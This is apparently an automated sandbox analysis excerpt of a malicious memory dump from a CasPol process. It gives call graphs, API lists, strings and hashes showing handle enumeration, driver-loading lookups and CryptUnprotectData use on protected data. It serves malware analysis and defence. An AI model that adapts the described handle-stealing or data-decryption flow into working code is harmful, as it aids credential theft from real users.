415c56 11 API calls 40244->40322 40245->40248 40246 43802b 40249 4165ff 11 API calls 40246->40249 40248->40244 40248->40246 40250 438054 40249->40250 40285 437371 40250->40285 40253 43806b 40254 438094 40253->40254 40323 42f50e 138 API calls 40253->40323 40256 437fa3 40254->40256 40324 4300e8 memset memset memcpy 40254->40324 40256->40237 40325 41f638 104 API calls 40256->40325 40258->40232 40260 437d69 40259->40260 40263 437d80 40259->40263 40326 437ccb 11 API calls 40260->40326 40262 437d76 40262->40238 40263->40262 40264 437da3 40263->40264 40266 437d90 40263->40266 40267 438460 134 API calls 40264->40267 40266->40262 40330 437ccb 11 API calls 40266->40330 40270 437dcb 40267->40270 40268 437de8 40329 424f26 123 API calls 40268->40329 40270->40268 40327 444283 13 API calls 40270->40327 40272 437dfc 40328 437ccb 11 API calls 40272->40328 40275 41f54d 40274->40275 40281 41f44f 40274->40281 40276 41f466 40275->40276 40360 41c635 memset memset 40275->40360 40276->40241 40276->40243 40281->40276 40283 41f50b 40281->40283 40331 41f1a5 40281->40331 40356 41c06f memcmp 40281->40356 40357 41f3b1 90 API calls 40281->40357 40358 41f398 86 API calls 40281->40358 40283->40275 40283->40276 40359 41c295 86 API calls 40283->40359 40286 41703f 11 API calls 40285->40286 40287 437399 40286->40287 40288 43739d 40287->40288 40290 4373ac 40287->40290 40361 4446ea 11 API calls 40288->40361 40291 416935 16 API calls 40290->40291 40292 4373ca 40291->40292 40293 438460 134 API calls 40292->40293 40298 4251c4 137 API calls 40292->40298 40302 415a91 memset 40292->40302 40305 43758f 40292->40305 40317 437584 40292->40317 40320 437d3c 135 API calls 40292->40320 40362 425433 13 API calls 40292->40362 40363 425413 17 API calls 40292->40363 40364 42533e 16 API calls 40292->40364 40365 42538f 16 API calls 40292->40365 40366 42453e 123 API calls 40292->40366 40293->40292 40294 4375bc 40369 415c7d 16 API calls 40294->40369 40297 4375d2 40319 4373a7 40297->40319 40370 4442e6 11 API calls 40297->40370 40298->40292 40300 4375e2 40300->40319 40371 444283 13 API calls 40300->40371 40302->40292 40367 42453e 123 API calls 40305->40367 40308 4375f4 40311 437620 40308->40311 40312 43760b 40308->40312 40310 43759f 40313 416935 16 API calls 40310->40313 40315 416935 16 API calls 40311->40315 40372 444283 13 API calls 40312->40372 40313->40317 40315->40319 40317->40294 40368 42453e 123 API calls 40317->40368 40318 437612 memcpy 40318->40319 40319->40253 40320->40292 40321->40237 40322->40256 40323->40254 40324->40256 40325->40237 40326->40262 40327->40272 40328->40268 40329->40262 40330->40262 40332 41bc3b 101 API calls 40331->40332 40333 41f1b4 40332->40333 40334 41edad 86 API calls 40333->40334 40341 41f282 40333->40341 40335 41f1cb 40334->40335 40336 41f1f5 memcmp 40335->40336 40337 41f20e 40335->40337 40335->40341 40336->40337 40338 41f21b memcmp 40337->40338 40337->40341 40339 41f326 40338->40339 40342 41f23d 40338->40342 40340 41ee6b 86 API calls 40339->40340 40339->40341 40340->40341 40341->40281 40342->40339 40343 41f28e memcmp 40342->40343 40345 41c8df 56 API calls 40342->40345 40343->40339 40344 41f2a9 40343->40344 40344->40339 40347 41f308 40344->40347 40348 41f2d8 40344->40348 40346 41f269 40345->40346 40346->40339 40349 41f287 40346->40349 40350 41f27a 40346->40350 40347->40339 40354 4446ce 11 API calls 40347->40354 40351 41ee6b 86 API calls 40348->40351 40349->40343 40352 41ee6b 86 API calls 40350->40352 40353 41f2e0 40351->40353 40352->40341 40355 41b1ca memset 40353->40355 40354->40339 40355->40341 40356->40281 40357->40281 40358->40281 40359->40275 40360->40276 40361->40319 40362->40292 40363->40292 40364->40292 40365->40292 40366->40292 40367->40310 40368->40294 40369->40297 40370->40300 40371->40308 40372->40318 40373 41493c EnumResourceNamesW 37670 4287c1 37671 4287d2 37670->37671 37672 429ac1 37670->37672 37673 428818 37671->37673 37674 42881f 37671->37674 37688 425711 37671->37688 37684 425ad6 37672->37684 37740 415c56 11 API calls 37672->37740 37707 42013a 37673->37707 37735 420244 97 API calls 37674->37735 37679 4260dd 37734 424251 120 API calls 37679->37734 37681 4259da 37733 416760 11 API calls 37681->37733 37687 429a4d 37689 429a66 37687->37689 37694 429a9b 37687->37694 37688->37672 37688->37681 37688->37687 37690 422aeb memset memcpy memcpy 37688->37690 37693 4260a1 37688->37693 37703 4259c2 37688->37703 37706 425a38 37688->37706 37723 4227f0 memset memcpy 37688->37723 37724 422b84 15 API calls 37688->37724 37725 422b5d memset memcpy memcpy 37688->37725 37726 422640 13 API calls 37688->37726 37728 4241fc 11 API calls 37688->37728 37729 42413a 90 API calls 37688->37729 37736 415c56 11 API calls 37689->37736 37690->37688 37732 415c56 11 API calls 37693->37732 37695 429a96 37694->37695 37738 416760 11 API calls 37694->37738 37739 424251 120 API calls 37695->37739 37697 429a7a 37737 416760 11 API calls 37697->37737 37703->37684 37727 415c56 11 API calls 37703->37727 37706->37703 37730 422640 13 API calls 37706->37730 37731 4226e0 12 API calls 37706->37731 37708 42014c 37707->37708 37711 420151 37707->37711 37750 41e466 97 API calls 37708->37750 37710 420162 37710->37688 37711->37710 37712 4201b3 37711->37712 37713 420229 37711->37713 37714 4201b8 37712->37714 37715 4201dc 37712->37715 37713->37710 37716 41fd5e 86 API calls 37713->37716 37741 41fbdb 37714->37741 37715->37710 37719 4201ff 37715->37719 37747 41fc4c 37715->37747 37716->37710 37719->37710 37722 42013a 97 API calls 37719->37722 37722->37710 37723->37688 37724->37688 37725->37688 37726->37688 37727->37681 37728->37688 37729->37688 37730->37706 37731->37706 37732->37681 37733->37679 37734->37684 37735->37688 37736->37697 37737->37695 37738->37695 37739->37672 37740->37681 37742 41fbf1 37741->37742 37743 41fbf8 37741->37743 37746 41fc39 37742->37746 37765 4446ce 11 API calls 37742->37765 37755 41ee26 37743->37755 37746->37710 37751 41fd5e 37746->37751 37748 41ee6b 86 API calls 37747->37748 37749 41fc5d 37748->37749 37749->37715 37750->37711 37752 41fd65 37751->37752 37753 41fdab 37752->37753 37754 41fbdb 86 API calls 37752->37754 37753->37710 37754->37752 37756 41ee41 37755->37756 37757 41ee32 37755->37757 37766 41edad 37756->37766 37769 4446ce 11 API calls 37757->37769 37761 41ee3c 37761->37742 37763 41ee58 37763->37761 37771 41ee6b 37763->37771 37765->37746 37775 41be52 37766->37775 37769->37761 37770 41eb85 11 API calls 37770->37763 37772 41ee70 37771->37772 37773 41ee78 37771->37773 37828 41bf99 86 API calls 37772->37828 37773->37761 37776 41be6f 37775->37776 37777 41be5f 37775->37777 37781 41be8c 37776->37781 37807 418c63 memset memset 37776->37807 37806 4446ce 11 API calls 37777->37806 37779 41be69 37779->37761 37779->37770 37781->37779 37782 41bf3a 37781->37782 37784 41bed1 37781->37784 37794 41bee7 37781->37794 37810 4446ce 11 API calls 37782->37810 37786 41bef0 37784->37786 37787 41bee2 37784->37787 37789 41bf01 37786->37789 37786->37794 37796 41ac13 37787->37796 37788 41bf24 memset 37788->37779 37789->37788 37791 41bf14 37789->37791 37808 418a6d memset memcpy memset 37789->37808 37809 41a223 memset memcpy memset 37791->37809 37794->37779 37811 41a453 86 API calls 37794->37811 37795 41bf20 37795->37788 37797 41ac3f memset 37796->37797 37799 41ac52 37796->37799 37798 41acd9 37797->37798 37798->37794 37801 41ac6a 37799->37801 37812 41dc14 19 API calls 37799->37812 37802 41aca1 37801->37802 37813 41519d 37801->37813 37802->37798 37804 41acc0 memset 37802->37804 37805 41accd memcpy 37802->37805 37804->37798 37805->37798 37806->37779 37807->37781 37808->37791 37809->37795 37810->37794 37812->37801 37816 4175ed 37813->37816 37824 417570 SetFilePointer 37816->37824 37819 4151b3 37819->37802 37820 41760a ReadFile 37821 417637 37820->37821 37822 417627 GetLastError 37820->37822 37821->37819 37823 41763e memset 37821->37823 37822->37819 37823->37819 37825 4175b2 37824->37825 37826 41759c GetLastError 37824->37826 37825->37819 37825->37820 37826->37825 37827 4175a8 GetLastError 37826->37827 37827->37825 37828->37773 37829 417bc5 37830 417c61 37829->37830 37831 417bda 37829->37831 37831->37830 37832 417bf6 UnmapViewOfFile CloseHandle 37831->37832 37834 417c2c 37831->37834 37836 4175b7 37831->37836 37832->37831 37832->37832 37834->37831 37841 41851e 20 API calls 37834->37841 37837 4175d6 CloseHandle 37836->37837 37838 4175c8 37837->37838 37839 4175df 37837->37839 37838->37839 37840 4175ce Sleep 37838->37840 37839->37831 37840->37837 37841->37834 39874 4147f3 39877 414561 39874->39877 39876 414813 39878 41456d 39877->39878 39879 41457f GetPrivateProfileIntW 39877->39879 39882 4143f1 memset _itow WritePrivateProfileStringW 39878->39882 39879->39876 39881 41457a 39881->39876 39882->39881

                                                                                                                                                                                                  Executed Functions

                                                                                                                                                                                                  Function 0040DD85 Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 212filenativeCOMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 338 40dd85-40ddeb memset call 409bca CreateFileW 341 40ddf1-40de09 call 40afcf call 41352f 338->341 346 40de0b-40de1a NtQuerySystemInformation 341->346 347 40de1c 341->347 348 40de20-40de27 346->348 347->348 349 40de29-40de39 348->349 350 40de3b-40de52 CloseHandle GetCurrentProcessId 348->350 349->341 349->350 351 40de54-40de58 350->351 352 40de7a-40de8e call 413cfa call 413d4c 350->352 351->352 353 40de5a 351->353 362 40de94-40debb call 40e6ad call 409c52 _wcsicmp 352->362 363 40e00c-40e01b call 413d29 352->363 355 40de5d-40de63 353->355 357 40de74-40de78 355->357 358 40de65-40de6c 355->358 357->352 357->355 358->357 360 40de6e-40de71 358->360 360->357 370 40dee7-40def7 OpenProcess 362->370 371 40debd-40dece _wcsicmp 362->371 373 40dff8-40dffb 370->373 374 40defd-40df02 370->374 371->370 372 40ded0-40dee1 _wcsicmp 371->372 372->370 375 40dffd-40e006 372->375 373->363 373->375 376 40df08 374->376 377 40dfef-40dff2 CloseHandle 374->377 375->362 375->363 378 40df0b-40df10 376->378 377->373 379 40df16-40df1d 378->379 380 40dfbd-40dfcb 378->380 379->380 382 40df23-40df4a GetCurrentProcess DuplicateHandle 379->382 380->378 381 40dfd1-40dfd3 380->381 381->377 382->380 383 40df4c-40df76 memset call 41352f 382->383 386 40df78-40df8a 383->386 387 40df8f-40dfbb CloseHandle call 409c52 * 2 _wcsicmp 383->387 386->387 387->380 392 40dfd5-40dfed 387->392 392->377
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040DDAD
                                                                                                                                                                                                    • Part of subcall function 00409BCA: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,0040DDBE,?,?,00000000,00000208,000000FF,00000000,00000104), ref: 00409BD5
                                                                                                                                                                                                  • CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 0040DDD4
                                                                                                                                                                                                    • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                                                                                                                                                                                                    • Part of subcall function 0041352F: GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                                                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation,?,000000FF,00000000,00000104), ref: 00413559
                                                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtLoadDriver,?,000000FF,00000000,00000104), ref: 0041356B
                                                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtUnloadDriver,?,000000FF,00000000,00000104), ref: 0041357D
                                                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject,?,000000FF,00000000,00000104), ref: 0041358F
                                                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject,?,000000FF,00000000,00000104), ref: 004135A1
                                                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtQueryObject,?,000000FF,00000000,00000104), ref: 004135B3
                                                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtSuspendProcess,?,000000FF,00000000,00000104), ref: 004135C5
                                                                                                                                                                                                    • Part of subcall function 0041352F: GetProcAddress.KERNEL32(NtResumeProcess,?,000000FF,00000000,00000104), ref: 004135D7
                                                                                                                                                                                                  • NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                                                                                                                                                                                                  • CloseHandle.KERNELBASE(C0000004), ref: 0040DE3E
                                                                                                                                                                                                  • GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 0040DEB2
                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 0040DEC5
                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 0040DED8
                                                                                                                                                                                                  • OpenProcess.KERNEL32(00000040,00000000,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DEEC
                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(C0000004,80000000,00000000,00000002,?,000000FF,00000000,00000104), ref: 0040DF32
                                                                                                                                                                                                  • DuplicateHandle.KERNEL32(00000104,?,00000000,?,000000FF,00000000,00000104), ref: 0040DF41
                                                                                                                                                                                                  • memset.MSVCRT ref: 0040DF5F
                                                                                                                                                                                                  • CloseHandle.KERNEL32(C0000004), ref: 0040DF92
                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 0040DFB2
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000104), ref: 0040DFF2
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: AddressProc$Handle$_wcsicmp$CloseProcess$CurrentFileModulememset$??2@CreateDuplicateInformationNameOpenQuerySystem
                                                                                                                                                                                                  • String ID: dllhost.exe$taskhost.exe$taskhostex.exe
                                                                                                                                                                                                  • API String ID: 708747863-3398334509
                                                                                                                                                                                                  • Opcode ID: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                                                                                                                                                                                                  • Instruction ID: 75e999e9478e2cd8c236028a88c267773407d5e0538ee9298daa3020847ac7a6
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c0cdbd66bb0eb3cac082432fda8d0328b9155cc6ebf5e989b7bcc70ed293d7d6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 57818F71D00209AFEB10EF95CC81AAEBBB5FF04345F20407AF915B6291DB399E95CB58
                                                                                                                                                                                                  Function 00418758 Relevance: 4.6, APIs: 3, Instructions: 79COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00418680: GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                                                                                                                                                                                                    • Part of subcall function 00418680: malloc.MSVCRT ref: 004186B7
                                                                                                                                                                                                    • Part of subcall function 00418680: free.MSVCRT ref: 004186C7
                                                                                                                                                                                                    • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                                                                                                                                  • GetDiskFreeSpaceW.KERNELBASE(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187D2
                                                                                                                                                                                                  • GetDiskFreeSpaceA.KERNEL32(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004187FA
                                                                                                                                                                                                  • free.MSVCRT ref: 00418803
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: DiskFreeSpacefree$FullNamePathVersionmalloc
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1355100292-0
                                                                                                                                                                                                  • Opcode ID: 7494654f5416982ac8b8eb6095e1b911d56786f256e13b4958c27deb7a97d588
                                                                                                                                                                                                  • Instruction ID: 9f5aa8738ec5ca8fa6c7af21032fcab0d24b7c3e7281463e4f88d86f77cdc7da
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7494654f5416982ac8b8eb6095e1b911d56786f256e13b4958c27deb7a97d588
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2A218776904118AEEB11EBA4CC849EF77BCEF05704F2404AFE551D7181EB784EC58769
                                                                                                                                                                                                  Function 00404423 Relevance: 4.6, APIs: 3, Instructions: 51libraryencryptionloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                                                                                                                                                                                                    • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                                                                                                                                    • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(0045DE68,00000104,?,?,?), ref: 0040A841
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                                                                                                                                    • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(00000000), ref: 0040A87B
                                                                                                                                                                                                    • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(?,00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404453
                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Library$Load$AddressCryptDataDirectoryFreeProcSystemUnprotectmemsetwcscatwcscpy
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 767404330-0
                                                                                                                                                                                                  • Opcode ID: 1380316316acfdf23ecbbce53536a9302c8f7369fa9bad9ede14c1568be36e2a
                                                                                                                                                                                                  • Instruction ID: e973b1bd6c29085855c002f2d91bff7161adaf38cfdf5e3d51a6561f1cc66020
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1380316316acfdf23ecbbce53536a9302c8f7369fa9bad9ede14c1568be36e2a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D90192B1100211AAD6319FA6CC04D1BFAE9EFC0750B20883FF1D9E25A0D7B49881DB69
                                                                                                                                                                                                  Function 0040AE51 Relevance: 3.0, APIs: 2, Instructions: 39fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • FindFirstFileW.KERNELBASE(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE67
                                                                                                                                                                                                  • FindNextFileW.KERNELBASE(?,?,?,00000000,00445F58,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AE83
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FileFind$FirstNext
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1690352074-0
                                                                                                                                                                                                  • Opcode ID: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                                                                                                                                                                                                  • Instruction ID: bc213c2af839868520f9a45b85e911a0cf9bcc257b6b56acf9ba21b23a9e6198
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 561b3503b5d493cb0f99635c99673ff26dffc0bbfdea02a94e907e6f5a7ee62d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 34F0C877040B005BD761C774D8489C733D89F84320B20063EF56AD32C0EB3899098755
                                                                                                                                                                                                  Function 00418981 Relevance: 3.0, APIs: 2, Instructions: 28COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 0041898C
                                                                                                                                                                                                  • GetSystemInfo.KERNELBASE(004725C0,?,00000000,004439D6,?,00445FAE,?,?,?,?,?,?), ref: 00418995
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001C.00000002.589449859.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_28_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: InfoSystemmemset
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 3558857096-0
                                                                                                                                                                                                  • Opcode ID: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                                                                                                                                                                                                  • Instruction ID: bf8bfd662ffca2911032058da6995c9eeb4a28626cb6ee34ade21af96d3a2c90
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d0407614e71e7ae135e22cefa727abc0102cb379ef2ade91b8070469c4ed11d1
                                                                                                                                                                                                  • Instruction Fuzzy Hash: C0E06531A0163097F22077766C067DF25949F41395F04407BB9049A186EBAC4D8546DE
                                                                                                                                                                                                  Function 0044553B Relevance: 44.5, APIs: 23, Strings: 2, Instructions: 758COMMON
                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                  control_flow_graph 0 44553b-445558 call 44db70 3 445599-4455a2 0->3 4 44555a-44557c call 40c768 call 40bdb0 call 4135f7 0->4 5 4455a8-4455e3 memset call 403988 wcsrchr 3->5 6 4457fb 3->6 44 44558e-445594 call 444b06 4->44 45 44557e-445580 call 4136c0 4->45 15 4455e5 5->15 16 4455e8-4455f9 5->16 10 445800-445809 6->10 13 445856-44585f 10->13 14 44580b-44581e call 40a889 call 403e2d 10->14 18 445861-445874 call 40a889 call 403c9c 13->18 19 4458ac-4458b5 13->19 37 445823-445826 14->37 15->16 21 445672-445683 call 40a889 call 403fbe 16->21 22 4455fb-445601 16->22 49 445879-44587c 18->49 23 44594f-445958 19->23 24 4458bb-44592b memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 19->24 82 445685 21->82 83 4456b2-4456b5 call 40b1ab 21->83 31 445605-445607 22->31 32 445603 22->32 29 4459f2-4459fa 23->29 30 44595e-4459ce memset * 2 call 414c2e call 40b2cc call 409d1f call 409b98 23->30 132 44592d-445945 call 40b6ef 24->132 133 44594a 24->133 39 445a00-445aa1 memset * 2 call 414c2e call 40b2cc call 409d1f call 40b2cc call 40ae18 29->39 40 445b29-445b32 29->40 151 4459d0-4459e8 call 40b6ef 30->151 152 4459ed 30->152 31->21 43 445609-44560d 31->43 32->31 50 44584c-445854 call 40b1ab 37->50 51 445828 37->51 181 445b08-445b15 call 40ae51 39->181 52 445c7c-445c85 40->52 53 445b38-445b96 memset * 3 40->53 43->21 47 44560f-445641 call 4087b3 call 40a889 call 4454bf 43->47 44->3 63 445585-44558c call 41366b 45->63 148 445665-445670 call 40b1ab 47->148 149 445643-445663 call 40a9b5 call 4087b3 47->149 64 4458a2-4458aa call 40b1ab 49->64 65 44587e 49->65 50->13 66 44582e-445847 call 40a9b5 call 4087b3 51->66 59 445d1c-445d25 52->59 60 445c8b-445cf3 memset * 2 call 414c2e call 409d1f call 409b98 52->60 67 445bd4-445c72 call 414c2e call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 call 40b2cc call 409d1f call 445389 53->67 68 445b98-445ba0 53->68 87 445fae-445fb2 59->87 88 445d2b-445d3b 59->88 167 445cf5 60->167 168 445cfc-445d03 60->168 63->44 64->19 80 445884-44589d call 40a9b5 call 4087b3 65->80 135 445849 66->135 247 445c77 67->247 68->67 81 445ba2-445bcf call 4099c6 call 445403 call 445389 68->81 154 44589f 80->154 81->52 97 44568b-4456a4 call 40a9b5 call 4087b3 82->97 114 4456ba-4456c4 83->114 102 445d3d-445d65 call 409c52 call 40b2cc _wcsicmp 88->102 103 445d88-445e15 memset * 3 call 414c2e call 40b2cc call 409d1f call 409b98 88->103 156 4456a9-4456b0 97->156 161 445d67-445d6c 102->161 162 445d71-445d83 call 445093 102->162 196 445e17 103->196 197 445e1e-445e25 103->197 128 4457f9 114->128 129 4456ca-4456d3 call 413cfa call 413d4c 114->129 128->6 172 4456d8-4456f7 call 40b2cc call 413fa6 129->172 132->133 133->23 135->50 148->114 149->148 151->152 152->29 154->64 156->83 156->97 174 445fa1-445fa9 call 40b6ef 161->174 162->87 167->168 179 445d05-445d13 168->179 180 445d17 168->180 205 4456fd-445796 memset * 4 call 409c70 * 3 172->205 206 4457ea-4457f7 call 413d29 172->206 174->87 179->180 180->59 200 445b17-445b27 call 40aebe 181->200 201 445aa3-445ab0 call 40add4 181->201 196->197 202 445e27-445e59 call 40b2cc call 409d1f call 409b98 197->202 203 445e6b-445e7e call 445093 197->203 200->40 201->181 218 445ab2-445b03 memset call 40b2cc call 409d1f call 445389 201->218 242 445e62-445e69 202->242 243 445e5b 202->243 223 445f67-445f99 call 40b2cc call 409d1f call 409b98 203->223 205->206 246 445798-4457ca call 40b2cc call 409d1f call 409b98 205->246 206->10 218->181 223->87 255 445f9b 223->255 242->203 248 445e83-445ef5 memset call 40b2cc call 409d1f call 40ae18 242->248 243->242 246->206 265 4457cc-4457e5 call 4087b3 246->265 247->52 264 445f4d-445f5a call 40ae51 248->264 255->174 269 445ef7-445f04 call 40add4 264->269 270 445f5c-445f62 call 40aebe 264->270 265->206 269->264 274 445f06-445f38 call 40b2cc call 409d1f call 409b98 269->274 270->223 274->264 281 445f3a-445f48 call 445093 274->281 281->264
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • memset.MSVCRT ref: 004455C2
                                                                                                                                                                                                  • wcsrchr.MSVCRT ref: 004455DA
                                                                                                                                                                                                  • memset.MSVCRT ref: 0044570D
                                                                                                                                                                                                  • memset.MSVCRT ref: 00445725
                                                                                                                                                                                                    • Part of subcall function 0040C768: _wcslwr.MSVCRT ref: 0040C817
                                                                                                                                                                                                    • Part of subcall function 0040C768: wcslen.MSVCRT ref: 0040C82C
                                                                                                                                                                                                    • Part of subcall function 0040BDB0: wcslen.MSVCRT ref: 0040BE06
                                                                                                                                                                                                    • Part of subcall function 0040BDB0: wcsncmp.MSVCRT ref: 0040BE38
                                                                                                                                                                                                    • Part of subcall function 0040BDB0: memset.MSVCRT ref: 0040BE91
                                                                                                                                                                                                    • Part of subcall function 0040BDB0: memcpy.MSVCRT(?,?,?,00000001,?,?,?,00000000,?), ref: 0040BEB2
                                                                                                                                                                                                    • Part of subcall function 004135F7: GetProcAddress.KERNEL32(?,00000000,000000F1,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 0041362A
                                                                                                                                                                                                  • memset.MSVCRT ref: 0044573D
                                                                                                                                                                                                  • memset.MSVCRT ref: 00445755
                                                                                                                                                                                                  • memset.MSVCRT ref: 004458CB
                                                                                                                                                                                                  • memset.MSVCRT ref: 004458E3
                                                                                                                                                                                                  • memset.MSVCRT ref: 0044596E
                                                                                                                                                                                                  • memset.MSVCRT ref: 00445A10
                                                                                                                                                                                                  • memset.MSVCRT ref: 00445A28
                                                                                                                                                                                                  • memset.MSVCRT ref: 00445AC6
                                                                                                                                                                                                    • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                                                                                                                                    • Part of subcall function 00445093: GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000104,00445E7E,?,?,?,?,00000104), ref: 004450AA
                                                                                                                                                                                                    • Part of subcall function 00445093: ??2@YAPAXI@Z.MSVCRT ref: 004450BE
                                                                                                                                                                                                    • Part of subcall function 00445093: memset.MSVCRT ref: 004450CD
                                                                                                                                                                                                    • Part of subcall function 00445093: ??3@YAXPAX@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,00000104), ref: 004450F0
                                                                                                                                                                                                    • Part of subcall function 00445093: CloseHandle.KERNEL32(00000000), ref: 004450F7
                                                                                                                                                                                                  • memset.MSVCRT ref: 00445B52
                                                                                                                                                                                                  • memset.MSVCRT ref: 00445B6A
                                                                                                                                                                                                  • memset.MSVCRT ref: 00445C9B
                                                                                                                                                                                                  • memset.MSVCRT ref: 00445CB3
